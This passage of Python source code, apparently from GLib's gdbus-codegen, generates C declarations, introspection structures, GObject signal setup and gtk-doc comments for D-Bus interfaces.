self.outfile.write("\n") self.outfile.write("G_BEGIN_DECLS\n") self.outfile.write("\n") # ---------------------------------------------------------------------------------------------------- def declare_infos(self): for i in self.ifaces: self.outfile.write( "extern %s const GDBusInterfaceInfo %s_interface;\n" % (self.symbol_decorator, i.name_lower) ) # ---------------------------------------------------------------------------------------------------- def generate_header_postamble(self): self.outfile.write("\n") self.outfile.write("G_END_DECLS\n") if not self.use_pragma: self.outfile.write("\n") self.outfile.write("#endif /* __{!s}__ */\n".format(self.header_guard)) # ---------------------------------------------------------------------------------------------------- def generate(self): self.generate_header_preamble() self.declare_infos() self.generate_header_postamble() # ---------------------------------------------------------------------------------------------------- class InterfaceInfoBodyCodeGenerator: def __init__( self, ifaces, namespace, header_name, input_files_basenames, glib_min_required, symbol_decoration_define, outfile, ): self.ifaces = ifaces self.namespace, self.ns_upper, self.ns_lower = generate_namespace(namespace) self.header_name = header_name self.input_files_basenames = input_files_basenames self.glib_min_required = glib_min_required self.symbol_decoration_define = symbol_decoration_define self.outfile = outfile # ---------------------------------------------------------------------------------------------------- def generate_body_preamble(self): basenames = ", ".join(self.input_files_basenames) self.outfile.write(LICENSE_STR.format(config.VERSION, basenames)) if self.symbol_decoration_define is not None: self.outfile.write("\n") self.outfile.write("#define %s\n" % self.symbol_decoration_define) self.outfile.write("\n") self.outfile.write( "#ifdef HAVE_CONFIG_H\n" '# include "config.h"\n' "#endif\n" "\n" '#include "%s"\n' "\n" "#include <string.h>\n" % (self.header_name) ) self.outfile.write("\n") # ---------------------------------------------------------------------------------------------------- def generate_array(self, array_name_lower, element_type, elements): self.outfile.write( "const %s * const %s[] =\n" % (element_type, array_name_lower) ) self.outfile.write("{\n") for (_, name) in elements: self.outfile.write(" &%s,\n" % name) self.outfile.write(" NULL,\n") self.outfile.write("};\n") self.outfile.write("\n") def define_annotations(self, array_name_lower, annotations): if len(annotations) == 0: return annotation_pointers = [] for a in annotations: # Skip internal annotations. if a.key.startswith("org.gtk.GDBus"): continue self.define_annotations( "%s__%s_annotations" % (array_name_lower, a.key_lower), a.annotations ) self.outfile.write( "const GDBusAnnotationInfo %s__%s_annotation =\n" % (array_name_lower, a.key_lower) ) self.outfile.write("{\n") self.outfile.write(" -1, /* ref count */\n") self.outfile.write(' (gchar *) "%s",\n' % a.key) self.outfile.write(' (gchar *) "%s",\n' % a.value) if len(a.annotations) > 0: self.outfile.write( " (GDBusAnnotationInfo **) %s__%s_annotations,\n" % (array_name_lower, a.key_lower) ) else: self.outfile.write(" NULL, /* no annotations */\n") self.outfile.write("};\n") self.outfile.write("\n") key = (a.since, "%s__%s_annotation" % (array_name_lower, a.key_lower)) annotation_pointers.append(key) self.generate_array( array_name_lower, "GDBusAnnotationInfo", annotation_pointers ) def define_args(self, array_name_lower, args): if len(args) == 0: return arg_pointers = [] for a in args: self.define_annotations( "%s__%s_arg_annotations" % (array_name_lower, a.name), a.annotations ) self.outfile.write( "const GDBusArgInfo %s__%s_arg =\n" % (array_name_lower, a.name) ) self.outfile.write("{\n") self.outfile.write(" -1, /* ref count */\n") self.outfile.write(' (gchar *) "%s",\n' % a.name) self.outfile.write(' (gchar *) "%s",\n' % a.signature) if len(a.annotations) > 0: self.outfile.write( " (GDBusAnnotationInfo **) %s__%s_arg_annotations,\n" % (array_name_lower, a.name) ) else: self.outfile.write(" NULL, /* no annotations */\n") self.outfile.write("};\n") self.outfile.write("\n") key = (a.since, "%s__%s_arg" % (array_name_lower, a.name)) arg_pointers.append(key) self.generate_array(array_name_lower, "GDBusArgInfo", arg_pointers) def define_infos(self): for i in self.ifaces: self.outfile.write( "/* ------------------------------------------------------------------------ */\n" ) self.outfile.write("/* Definitions for %s */\n" % i.name) self.outfile.write("\n") # GDBusMethodInfos. if len(i.methods) > 0: method_pointers = [] for m in i.methods: self.define_args( "%s_interface__%s_method_in_args" % (i.name_lower, m.name_lower), m.in_args, ) self.define_args( "%s_interface__%s_method_out_args" % (i.name_lower, m.name_lower), m.out_args, ) self.define_annotations( "%s_interface__%s_method_annotations" % (i.name_lower, m.name_lower), m.annotations, ) self.outfile.write( "const GDBusMethodInfo %s_interface__%s_method =\n" % (i.name_lower, m.name_lower) ) self.outfile.write("{\n") self.outfile.write(" -1, /* ref count */\n") self.outfile.write(' (gchar *) "%s",\n' % m.name) if len(m.in_args) > 0: self.outfile.write( " (GDBusArgInfo **) %s_interface__%s_method_in_args,\n" % (i.name_lower, m.name_lower) ) else: self.outfile.write(" NULL, /* no in args */\n") if len(m.out_args) > 0: self.outfile.write( " (GDBusArgInfo **) %s_interface__%s_method_out_args,\n" % (i.name_lower, m.name_lower) ) else: self.outfile.write(" NULL, /* no out args */\n") if len(m.annotations) > 0: self.outfile.write( " (GDBusAnnotationInfo **) %s_interface__%s_method_annotations,\n" % (i.name_lower, m.name_lower) ) else: self.outfile.write(" NULL, /* no annotations */\n") self.outfile.write("};\n") self.outfile.write("\n") key = ( m.since, "%s_interface__%s_method" % (i.name_lower, m.name_lower), ) method_pointers.append(key) self.generate_array( "%s_interface_methods" % i.name_lower, "GDBusMethodInfo", method_pointers, ) # GDBusSignalInfos. if len(i.signals) > 0: signal_pointers = [] for s in i.signals: self.define_args( "%s_interface__%s_signal_args" % (i.name_lower, s.name_lower), s.args, ) self.define_annotations( "%s_interface__%s_signal_annotations" % (i.name_lower, s.name_lower), s.annotations, ) self.outfile.write( "const GDBusSignalInfo %s_interface__%s_signal =\n" % (i.name_lower, s.name_lower) ) self.outfile.write("{\n") self.outfile.write(" -1, /* ref count */\n") self.outfile.write(' (gchar *) "%s",\n' % s.name) if len(s.args) > 0: self.outfile.write( " (GDBusArgInfo **) %s_interface__%s_signal_args,\n" % (i.name_lower, s.name_lower) ) else: self.outfile.write(" NULL, /* no args */\n") if len(s.annotations) > 0: self.outfile.write( " (GDBusAnnotationInfo **) %s_interface__%s_signal_annotations,\n" % (i.name_lower, s.name_lower) ) else: self.outfile.write(" NULL, /* no annotations */\n") self.outfile.write("};\n") self.outfile.write("\n") key = ( s.since, "%s_interface__%s_signal" % (i.name_lower, s.name_lower), ) signal_pointers.append(key) self.generate_array( "%s_interface_signals" % i.name_lower, "GDBusSignalInfo", signal_pointers, ) # GDBusPropertyInfos. if len(i.properties) > 0: property_pointers = [] for p in i.properties: if p.readable and p.writable: flags = "G_DBUS_PROPERTY_INFO_FLAGS_READABLE | G_DBUS_PROPERTY_INFO_FLAGS_WRITABLE" elif p.readable: flags = "G_DBUS_PROPERTY_INFO_FLAGS_READABLE" elif p.writable: flags = "G_DBUS_PROPERTY_INFO_FLAGS_WRITABLE" else: flags = "G_DBUS_PROPERTY_INFO_FLAGS_NONE" self.define_annotations( "%s_interface__%s_property_annotations" % (i.name_lower, p.name_lower), p.annotations, ) self.outfile.write( "const GDBusPropertyInfo %s_interface__%s_property =\n" % (i.name_lower, p.name_lower) ) self.outfile.write("{\n") self.outfile.write(" -1, /* ref count */\n") self.outfile.write(' (gchar *) "%s",\n' % p.name) self.outfile.write(' (gchar *) "%s",\n' % p.signature) self.outfile.write(" %s,\n" % flags) if len(p.annotations) > 0: self.outfile.write( " (GDBusAnnotationInfo **) %s_interface__%s_property_annotations,\n" % (i.name_lower, p.name_lower) ) else: self.outfile.write(" NULL, /* no annotations */\n") self.outfile.write("};\n") self.outfile.write("\n") key = ( p.since, "%s_interface__%s_property" % (i.name_lower, p.name_lower), ) property_pointers.append(key) self.generate_array( "%s_interface_properties" % i.name_lower, "GDBusPropertyInfo", property_pointers, ) # Finally the GDBusInterfaceInfo. self.define_annotations( "%s_interface_annotations" % i.name_lower, i.annotations ) self.outfile.write( "const GDBusInterfaceInfo %s_interface =\n" % i.name_lower ) self.outfile.write("{\n") self.outfile.write(" -1, /* ref count */\n") self.outfile.write(' (gchar *) "%s",\n' % i.name) if len(i.methods) > 0: self.outfile.write( " (GDBusMethodInfo **) %s_interface_methods,\n" % i.name_lower ) else: self.outfile.write(" NULL, /* no methods */\n") if len(i.signals) > 0: self.outfile.write( " (GDBusSignalInfo **) %s_interface_signals,\n" % i.name_lower ) else: self.outfile.write(" NULL, /* no signals */\n") if len(i.properties) > 0: self.outfile.write( " (GDBusPropertyInfo **) %s_interface_properties,\n" % i.name_lower ) else: self.outfile.write("NULL, /* no properties */\n") if len(i.annotations) > 0: self.outfile.write( " (GDBusAnnotationInfo **) %s_interface_annotations,\n" % i.name_lower ) else: self.outfile.write(" NULL, /* no annotations */\n") self.outfile.write("};\n") self.outfile.write("\n") # ---------------------------------------------------------------------------------------------------- def generate(self): self.generate_body_preamble() self.define_infos() # ---------------------------------------------------------------------------------------------------- class CodeGenerator: def __init__( self, ifaces, namespace, generate_objmanager, header_name, input_files_basenames, docbook_gen, glib_min_required, symbol_decoration_define, outfile, ): self.ifaces = ifaces self.namespace, self.ns_upper, self.ns_lower = generate_namespace(namespace) self.generate_objmanager = generate_objmanager self.header_name = header_name self.input_files_basenames = input_files_basenames self.docbook_gen = docbook_gen self.glib_min_required = glib_min_required self.symbol_decoration_define = symbol_decoration_define self.outfile = outfile # ---------------------------------------------------------------------------------------------------- def generate_body_preamble(self): basenames = ", ".join(self.input_files_basenames) self.outfile.write(LICENSE_STR.format(config.VERSION, basenames)) if self.symbol_decoration_define is not None: self.outfile.write("\n") self.outfile.write("#define %s\n" % self.symbol_decoration_define) self.outfile.write("\n") self.outfile.write( "#ifdef HAVE_CONFIG_H\n" '# include "config.h"\n' "#endif\n" "\n" '#include "%s"\n' "\n" "#include <string.h>\n" % (self.header_name) ) self.outfile.write( "#ifdef G_OS_UNIX\n" "# include <gio/gunixfdlist.h>\n" "#endif\n" "\n" ) self.outfile.write( "typedef struct\n" "{\n" " GDBusArgInfo parent_struct;\n" " gboolean use_gvariant;\n" "} _ExtendedGDBusArgInfo;\n" "\n" ) self.outfile.write( "typedef struct\n" "{\n" " GDBusMethodInfo parent_struct;\n" " const gchar *signal_name;\n" " gboolean pass_fdlist;\n" "} _ExtendedGDBusMethodInfo;\n" "\n" ) self.outfile.write( "typedef struct\n" "{\n" " GDBusSignalInfo parent_struct;\n" " const gchar *signal_name;\n" "} _ExtendedGDBusSignalInfo;\n" "\n" ) self.outfile.write( "typedef struct\n" "{\n" " GDBusPropertyInfo parent_struct;\n" " const gchar *hyphen_name;\n" " guint use_gvariant : 1;\n" " guint emits_changed_signal : 1;\n" "} _ExtendedGDBusPropertyInfo;\n" "\n" ) self.outfile.write( "typedef struct\n" "{\n" " GDBusInterfaceInfo parent_struct;\n" " const gchar *hyphen_name;\n" "} _ExtendedGDBusInterfaceInfo;\n" "\n" ) self.outfile.write( "typedef struct\n" "{\n" " const _ExtendedGDBusPropertyInfo *info;\n" " guint prop_id;\n" " GValue orig_value; /* the value before the change */\n" "} ChangedProperty;\n" "\n" "static void\n" "_changed_property_free (ChangedProperty *data)\n" "{\n" " g_value_unset (&data->orig_value);\n" " g_free (data);\n" "}\n" "\n" ) self.outfile.write( "static gboolean\n" "_g_strv_equal0 (gchar **a, gchar **b)\n" "{\n" " gboolean ret = FALSE;\n" " guint n;\n" " if (a == NULL && b == NULL)\n" " {\n" " ret = TRUE;\n" " goto out;\n" " }\n" " if (a == NULL || b == NULL)\n" " goto out;\n" " if (g_strv_length (a) != g_strv_length (b))\n" " goto out;\n" " for (n = 0; a[n] != NULL; n++)\n" " if (g_strcmp0 (a[n], b[n]) != 0)\n" " goto out;\n" " ret = TRUE;\n" "out:\n" " return ret;\n" "}\n" "\n" ) self.outfile.write( "static gboolean\n" "_g_variant_equal0 (GVariant *a, GVariant *b)\n" "{\n" " gboolean ret = FALSE;\n" " if (a == NULL && b == NULL)\n" " {\n" " ret = TRUE;\n" " goto out;\n" " }\n" " if (a == NULL || b == NULL)\n" " goto out;\n" " ret = g_variant_equal (a, b);\n" "out:\n" " return ret;\n" "}\n" "\n" ) # simplified - only supports the types we use self.outfile.write( "G_GNUC_UNUSED static gboolean\n" "_g_value_equal (const GValue *a, const GValue *b)\n" "{\n" " gboolean ret = FALSE;\n" " g_assert (G_VALUE_TYPE (a) == G_VALUE_TYPE (b));\n" " switch (G_VALUE_TYPE (a))\n" " {\n" " case G_TYPE_BOOLEAN:\n" " ret = (g_value_get_boolean (a) == g_value_get_boolean (b));\n" " break;\n" " case G_TYPE_UCHAR:\n" " ret = (g_value_get_uchar (a) == g_value_get_uchar (b));\n" " break;\n" " case G_TYPE_INT:\n" " ret = (g_value_get_int (a) == g_value_get_int (b));\n" " break;\n" " case G_TYPE_UINT:\n" " ret = (g_value_get_uint (a) == g_value_get_uint (b));\n" " break;\n" " case G_TYPE_INT64:\n" " ret = (g_value_get_int64 (a) == g_value_get_int64 (b));\n" " break;\n" " case G_TYPE_UINT64:\n" " ret = (g_value_get_uint64 (a) == g_value_get_uint64 (b));\n" " break;\n" " case G_TYPE_DOUBLE:\n" " {\n" " /* Avoid -Wfloat-equal warnings by doing a direct bit compare */\n" " gdouble da = g_value_get_double (a);\n" " gdouble db = g_value_get_double (b);\n" " ret = memcmp (&da, &db, sizeof (gdouble)) == 0;\n" " }\n" " break;\n" " case G_TYPE_STRING:\n" " ret = (g_strcmp0 (g_value_get_string (a), g_value_get_string (b)) == 0);\n" " break;\n" " case G_TYPE_VARIANT:\n" " ret = _g_variant_equal0 (g_value_get_variant (a), g_value_get_variant (b));\n" " break;\n" " default:\n" " if (G_VALUE_TYPE (a) == G_TYPE_STRV)\n" " ret = _g_strv_equal0 (g_value_get_boxed (a), g_value_get_boxed (b));\n" " else\n" ' g_critical ("_g_value_equal() does not handle type %s", g_type_name (G_VALUE_TYPE (a)));\n' " break;\n" " }\n" " return ret;\n" "}\n" "\n" ) def generate_annotations(self, prefix, annotations): if annotations is None: return n = 0 for a in annotations: # self.generate_annotations('%s_%d'%(prefix, n), a.get_annotations()) # skip internal annotations if a.key.startswith("org.gtk.GDBus"): continue self.outfile.write( "static const GDBusAnnotationInfo %s_%d =\n" "{\n" " -1,\n" ' (gchar *) "%s",\n' ' (gchar *) "%s",\n' % (prefix, n, a.key, a.value) ) if len(a.annotations) == 0: self.outfile.write(" NULL\n") else: self.outfile.write( " (GDBusAnnotationInfo **) &%s_%d_pointers\n" % (prefix, n) ) self.outfile.write("};\n" "\n") n += 1 if n > 0: self.outfile.write( "static const GDBusAnnotationInfo * const %s_pointers[] =\n" "{\n" % (prefix) ) m = 0 for a in annotations: if a.key.startswith("org.gtk.GDBus"): continue self.outfile.write(" &%s_%d,\n" % (prefix, m)) m += 1 self.outfile.write(" NULL\n" "};\n" "\n") return n def generate_args(self, prefix, args): for a in args: num_anno = self.generate_annotations( "%s_arg_%s_annotation_info" % (prefix, a.name), a.annotations ) self.outfile.write( "static const _ExtendedGDBusArgInfo %s_%s =\n" "{\n" " {\n" " -1,\n" ' (gchar *) "%s",\n' ' (gchar *) "%s",\n' % (prefix, a.name, a.name, a.signature) ) if num_anno == 0: self.outfile.write(" NULL\n") else: self.outfile.write( " (GDBusAnnotationInfo **) &%s_arg_%s_annotation_info_pointers\n" % (prefix, a.name) ) self.outfile.write(" },\n") if not utils.lookup_annotation( a.annotations, "org.gtk.GDBus.C.ForceGVariant" ): self.outfile.write(" FALSE\n") else: self.outfile.write(" TRUE\n") self.outfile.write("};\n" "\n") if len(args) > 0: self.outfile.write( "static const GDBusArgInfo * const %s_pointers[] =\n" "{\n" % (prefix) ) for a in args: self.outfile.write(" &%s_%s.parent_struct,\n" % (prefix, a.name)) self.outfile.write(" NULL\n" "};\n" "\n") def generate_introspection_for_interface(self, i): self.outfile.write( "/* ---- Introspection data for %s ---- */\n" "\n" % (i.name) ) if len(i.methods) > 0: for m in i.methods: self.generate_args( "_%s_method_info_%s_IN_ARG" % (i.name_lower, m.name_lower), m.in_args, ) self.generate_args( "_%s_method_info_%s_OUT_ARG" % (i.name_lower, m.name_lower), m.out_args, ) num_anno = self.generate_annotations( "_%s_method_%s_annotation_info" % (i.name_lower, m.name_lower), m.annotations, ) self.outfile.write( "static const _ExtendedGDBusMethodInfo _%s_method_info_%s =\n" "{\n" " {\n" " -1,\n" ' (gchar *) "%s",\n' % (i.name_lower, m.name_lower, m.name) ) if len(m.in_args) == 0: self.outfile.write(" NULL,\n") else: self.outfile.write( " (GDBusArgInfo **) &_%s_method_info_%s_IN_ARG_pointers,\n" % (i.name_lower, m.name_lower) ) if len(m.out_args) == 0: self.outfile.write(" NULL,\n") else: self.outfile.write( " (GDBusArgInfo **) &_%s_method_info_%s_OUT_ARG_pointers,\n" % (i.name_lower, m.name_lower) ) if num_anno == 0: self.outfile.write(" NULL\n") else: self.outfile.write( " (GDBusAnnotationInfo **) &_%s_method_%s_annotation_info_pointers\n" % (i.name_lower, m.name_lower) ) self.outfile.write( " },\n" ' "handle-%s",\n' " %s\n" % (m.name_hyphen, "TRUE" if m.unix_fd else "FALSE") ) self.outfile.write("};\n" "\n") self.outfile.write( "static const GDBusMethodInfo * const _%s_method_info_pointers[] =\n" "{\n" % (i.name_lower) ) for m in i.methods: self.outfile.write( " &_%s_method_info_%s.parent_struct,\n" % (i.name_lower, m.name_lower) ) self.outfile.write(" NULL\n" "};\n" "\n") # --- if len(i.signals) > 0: for s in i.signals: self.generate_args( "_%s_signal_info_%s_ARG" % (i.name_lower, s.name_lower), s.args ) num_anno = self.generate_annotations( "_%s_signal_%s_annotation_info" % (i.name_lower, s.name_lower), s.annotations, ) self.outfile.write( "static const _ExtendedGDBusSignalInfo _%s_signal_info_%s =\n" "{\n" " {\n" " -1,\n" ' (gchar *) "%s",\n' % (i.name_lower, s.name_lower, s.name) ) if len(s.args) == 0: self.outfile.write(" NULL,\n") else: self.outfile.write( " (GDBusArgInfo **) &_%s_signal_info_%s_ARG_pointers,\n" % (i.name_lower, s.name_lower) ) if num_anno == 0: self.outfile.write(" NULL\n") else: self.outfile.write( " (GDBusAnnotationInfo **) &_%s_signal_%s_annotation_info_pointers\n" % (i.name_lower, s.name_lower) ) self.outfile.write(" },\n" ' "%s"\n' % (s.name_hyphen)) self.outfile.write("};\n" "\n") self.outfile.write( "static const GDBusSignalInfo * const _%s_signal_info_pointers[] =\n" "{\n" % (i.name_lower) ) for s in i.signals: self.outfile.write( " &_%s_signal_info_%s.parent_struct,\n" % (i.name_lower, s.name_lower) ) self.outfile.write(" NULL\n" "};\n" "\n") # --- if len(i.properties) > 0: for p in i.properties: if p.readable and p.writable: access = "G_DBUS_PROPERTY_INFO_FLAGS_READABLE | G_DBUS_PROPERTY_INFO_FLAGS_WRITABLE" elif p.readable: access = "G_DBUS_PROPERTY_INFO_FLAGS_READABLE" elif p.writable: access = "G_DBUS_PROPERTY_INFO_FLAGS_WRITABLE" else: access = "G_DBUS_PROPERTY_INFO_FLAGS_NONE" num_anno = self.generate_annotations( "_%s_property_%s_annotation_info" % (i.name_lower, p.name_lower), p.annotations, ) self.outfile.write( "static const _ExtendedGDBusPropertyInfo _%s_property_info_%s =\n" "{\n" " {\n" " -1,\n" ' (gchar *) "%s",\n' ' (gchar *) "%s",\n' " %s,\n" % (i.name_lower, p.name_lower, p.name, p.arg.signature, access) ) if num_anno == 0: self.outfile.write(" NULL\n") else: self.outfile.write( " (GDBusAnnotationInfo **) &_%s_property_%s_annotation_info_pointers\n" % (i.name_lower, p.name_lower) ) self.outfile.write(" },\n" ' "%s",\n' % (p.name_hyphen)) if not utils.lookup_annotation( p.annotations, "org.gtk.GDBus.C.ForceGVariant" ): self.outfile.write(" FALSE,\n") else: self.outfile.write(" TRUE,\n") if p.emits_changed_signal: self.outfile.write(" TRUE\n") else: self.outfile.write(" FALSE\n") self.outfile.write("};\n" "\n") self.outfile.write( "static const GDBusPropertyInfo * const _%s_property_info_pointers[] =\n" "{\n" % (i.name_lower) ) for p in i.properties: self.outfile.write( " &_%s_property_info_%s.parent_struct,\n" % (i.name_lower, p.name_lower) ) self.outfile.write(" NULL\n" "};\n" "\n") num_anno = self.generate_annotations( "_%s_annotation_info" % (i.name_lower), i.annotations ) self.outfile.write( "static const _ExtendedGDBusInterfaceInfo _%s_interface_info =\n" "{\n" " {\n" " -1,\n" ' (gchar *) "%s",\n' % (i.name_lower, i.name) ) if len(i.methods) == 0: self.outfile.write(" NULL,\n") else: self.outfile.write( " (GDBusMethodInfo **) &_%s_method_info_pointers,\n" % (i.name_lower) ) if len(i.signals) == 0: self.outfile.write(" NULL,\n") else: self.outfile.write( " (GDBusSignalInfo **) &_%s_signal_info_pointers,\n" % (i.name_lower) ) if len(i.properties) == 0: self.outfile.write(" NULL,\n") else: self.outfile.write( " (GDBusPropertyInfo **) &_%s_property_info_pointers,\n" % (i.name_lower) ) if num_anno == 0: self.outfile.write(" NULL\n") else: self.outfile.write( " (GDBusAnnotationInfo **) &_%s_annotation_info_pointers\n" % (i.name_lower) ) self.outfile.write(" },\n" ' "%s",\n' "};\n" "\n" % (i.name_hyphen)) self.outfile.write("\n") self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s_interface_info:\n" " *\n" " * Gets a machine-readable description of the #%s D-Bus interface.\n" " *\n" " * Returns: (transfer none): A #GDBusInterfaceInfo. Do not free.\n" % (i.name_lower, i.name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(i, self.outfile, 0) self.outfile.write( "GDBusInterfaceInfo *\n" "%s_interface_info (void)\n" "{\n" " return (GDBusInterfaceInfo *) &_%s_interface_info.parent_struct;\n" "}\n" "\n" % (i.name_lower, i.name_lower) ) self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s_override_properties:\n" " * @klass: The class structure for a #GObject derived class.\n" " * @property_id_begin: The property id to assign to the first overridden property.\n" " *\n" " * Overrides all #GObject properties in the #%s interface for a concrete class.\n" " * The properties are overridden in the order they are defined.\n" " *\n" " * Returns: The last property id.\n" % (i.name_lower, i.camel_name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(i, self.outfile, 0) self.outfile.write( "guint\n" "%s_override_properties (GObjectClass *klass" % (i.name_lower) ) if len(i.properties) == 0: self.outfile.write(" G_GNUC_UNUSED") self.outfile.write(", guint property_id_begin)\n" "{\n") for p in i.properties: self.outfile.write( ' g_object_class_override_property (klass, property_id_begin++, "%s");\n' % (p.name_hyphen) ) self.outfile.write(" return property_id_begin - 1;\n" "}\n" "\n") self.outfile.write("\n") # ---------------------------------------------------------------------------------------------------- def generate_interface(self, i): self.outfile.write("\n") self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s:\n" " *\n" " * Abstract interface type for the D-Bus interface #%s.\n" % (i.camel_name, i.name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(i, self.outfile, 0) self.outfile.write("\n") self.outfile.write( self.docbook_gen.expand( "/**\n" " * %sIface:\n" " * @parent_iface: The parent interface.\n" % (i.camel_name), False, ) ) doc_bits = {} if len(i.methods) > 0: for m in i.methods: key = (m.since, "_method_%s" % m.name_lower) value = "@handle_%s: " % (m.name_lower) value += "Handler for the #%s::handle-%s signal." % ( i.camel_name, m.name_hyphen, ) doc_bits[key] = value if len(i.signals) > 0: for s in i.signals: key = (s.since, "_signal_%s" % s.name_lower) value = "@%s: " % (s.name_lower) value += "Handler for the #%s::%s signal." % ( i.camel_name, s.name_hyphen, ) doc_bits[key] = value if len(i.properties) > 0: for p in i.properties: key = (p.since, "_prop_get_%s" % p.name_lower) value = "@get_%s: " % (p.name_lower) value += "Getter for the #%s:%s property." % ( i.camel_name, p.name_hyphen, ) doc_bits[key] = value for key in sorted(doc_bits.keys(), key=utils.version_cmp_key): self.outfile.write(" * %s\n" % doc_bits[key]) self.outfile.write( self.docbook_gen.expand( " *\n" " * Virtual table for the D-Bus interface #%s.\n" % (i.name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(i, self.outfile, 0) self.outfile.write("\n") self.outfile.write( "typedef %sIface %sInterface;\n" % (i.camel_name, i.camel_name) ) self.outfile.write( "G_DEFINE_INTERFACE (%s, %s, G_TYPE_OBJECT)\n" % (i.camel_name, i.name_lower) ) self.outfile.write("\n") self.outfile.write( "static void\n" "%s_default_init (%sIface *iface" % (i.name_lower, i.camel_name) ) if len(i.methods) == 0 and len(i.signals) == 0 and len(i.properties) == 0: self.outfile.write(" G_GNUC_UNUSED)\n") else: self.outfile.write(")\n") self.outfile.write("{\n") if len(i.methods) > 0: self.outfile.write( " /* GObject signals for incoming D-Bus method calls: */\n" ) for m in i.methods: self.outfile.write( self.docbook_gen.expand( " /**\n" " * %s::handle-%s:\n" " * @object: A #%s.\n" " * @invocation: A #GDBusMethodInvocation.\n" % (i.camel_name, m.name_hyphen, i.camel_name), False, ) ) if m.unix_fd: self.outfile.write( " * @fd_list: (nullable): A #GUnixFDList or %NULL.\n" ) for a in m.in_args: self.outfile.write( " * @arg_%s: Argument passed by remote caller.\n" % (a.name) ) self.outfile.write( self.docbook_gen.expand( " *\n" " * Signal emitted when a remote caller is invoking the %s.%s() D-Bus method.\n" " *\n" " * If a signal handler returns %%TRUE, it means the signal handler will handle the invocation (e.g. take a reference to @invocation and eventually call %s_complete_%s() or e.g. g_dbus_method_invocation_return_error() on it) and no order signal handlers will run. If no signal handler handles the invocation, the %%G_DBUS_ERROR_UNKNOWN_METHOD error is returned.\n" " *\n" " * Returns: %%G_DBUS_METHOD_INVOCATION_HANDLED or %%TRUE if the invocation was handled, %%G_DBUS_METHOD_INVOCATION_UNHANDLED or %%FALSE to let other signal handlers run.\n" % (i.name, m.name, i.name_lower, m.name_lower), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(m, self.outfile, 2) if m.unix_fd: extra_args = 2 else: extra_args = 1 self.outfile.write( ' g_signal_new ("handle-%s",\n' " G_TYPE_FROM_INTERFACE (iface),\n" " G_SIGNAL_RUN_LAST,\n" " G_STRUCT_OFFSET (%sIface, handle_%s),\n" " g_signal_accumulator_true_handled,\n" " NULL,\n" # accu_data " g_cclosure_marshal_generic,\n" " G_TYPE_BOOLEAN,\n" " %d,\n" " G_TYPE_DBUS_METHOD_INVOCATION" % ( m.name_hyphen, i.camel_name, m.name_lower, len(m.in_args) + extra_args, ) ) if m.unix_fd: self.outfile.write(", G_TYPE_UNIX_FD_LIST") for a in m.in_args: self.outfile.write(", %s" % (a.gtype)) self.outfile.write(");\n") self.outfile.write("\n") if len(i.signals) > 0: self.outfile.write(" /* GObject signals for received D-Bus signals: */\n") for s in i.signals: self.outfile.write( self.docbook_gen.expand( " /**\n" " * %s::%s:\n" " * @object: A #%s.\n" % (i.camel_name, s.name_hyphen, i.camel_name), False, ) ) for a in s.args: self.outfile.write(" * @arg_%s: Argument.\n" % (a.name)) self.outfile.write( self.docbook_gen.expand( " *\n" " * On the client-side, this signal is emitted whenever the D-Bus signal #%s::%s is received.\n" " *\n" " * On the service-side, this signal can be used with e.g. g_signal_emit_by_name() to make the object emit the D-Bus signal.\n" % (i.name, s.name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(s, self.outfile, 2) self.outfile.write( ' g_signal_new ("%s",\n' " G_TYPE_FROM_INTERFACE (iface),\n" " G_SIGNAL_RUN_LAST,\n" " G_STRUCT_OFFSET (%sIface, %s),\n" " NULL,\n" # accumulator " NULL,\n" # accu_data " g_cclosure_marshal_generic,\n" " G_TYPE_NONE,\n" " %d" % (s.name_hyphen, i.camel_name, s.name_lower, len(s.args)) ) for a in s.args: self.outfile.write(", %s" % (a.gtype)) self.outfile.write(");\n") self.outfile.write("\n") if len(i.properties) > 0: self.outfile.write(" /* GObject properties for D-Bus properties: */\n") for p in i.properties: if p.readable and p.writable: hint = "Since the D-Bus property for this #GObject property is both readable and writable, it is meaningful to both read from it and write to it on both the service- and client-side." elif p.readable: hint = "Since the D-Bus property for this #GObject property is readable but not writable, it is meaningful to read from it on both the client- and service-side. It is only meaningful, however, to write to it on the service-side." elif p.writable: hint = "Since the D-Bus property for this #GObject property is writable but not readable, it is meaningful to write to it on both the client- and service-side. It is only meaningful, however, to read from it on the service-side." else: print_error( 'Cannot handle property "{}" that neither readable nor writable'.format( p.name ) ) self.outfile.write( self.docbook_gen.expand( " /**\n" " * %s:%s:\n" " *\n" " * Represents the D-Bus property #%s:%s.\n" " *\n" " * %s\n" % (i.camel_name, p.name_hyphen, i.name, p.name, hint), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(p, self.outfile, 2) self.outfile.write(" g_object_interface_install_property (iface,\n") if p.arg.gtype == "G_TYPE_VARIANT": s = ( 'g_param_spec_variant ("%s", "%s", "%s", G_VARIANT_TYPE ("%s"), NULL' % (p.name_hyphen, p.name, p.name, p.arg.signature) ) elif p.arg.signature == "b": s = 'g_param_spec_boolean ("%s", "%s", "%s", FALSE' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "y": s = 'g_param_spec_uchar ("%s", "%s", "%s", 0, 255, 0' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "n": s = ( 'g_param_spec_int ("%s", "%s", "%s", G_MININT16, G_MAXINT16, 0' % (p.name_hyphen, p.name, p.name) ) elif p.arg.signature == "q": s = 'g_param_spec_uint ("%s", "%s", "%s", 0, G_MAXUINT16, 0' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "i": s = ( 'g_param_spec_int ("%s", "%s", "%s", G_MININT32, G_MAXINT32, 0' % (p.name_hyphen, p.name, p.name) ) elif p.arg.signature == "u": s = 'g_param_spec_uint ("%s", "%s", "%s", 0, G_MAXUINT32, 0' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "x": s = ( 'g_param_spec_int64 ("%s", "%s", "%s", G_MININT64, G_MAXINT64, 0' % (p.name_hyphen, p.name, p.name) ) elif p.arg.signature == "t": s = 'g_param_spec_uint64 ("%s", "%s", "%s", 0, G_MAXUINT64, 0' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "d": s = ( 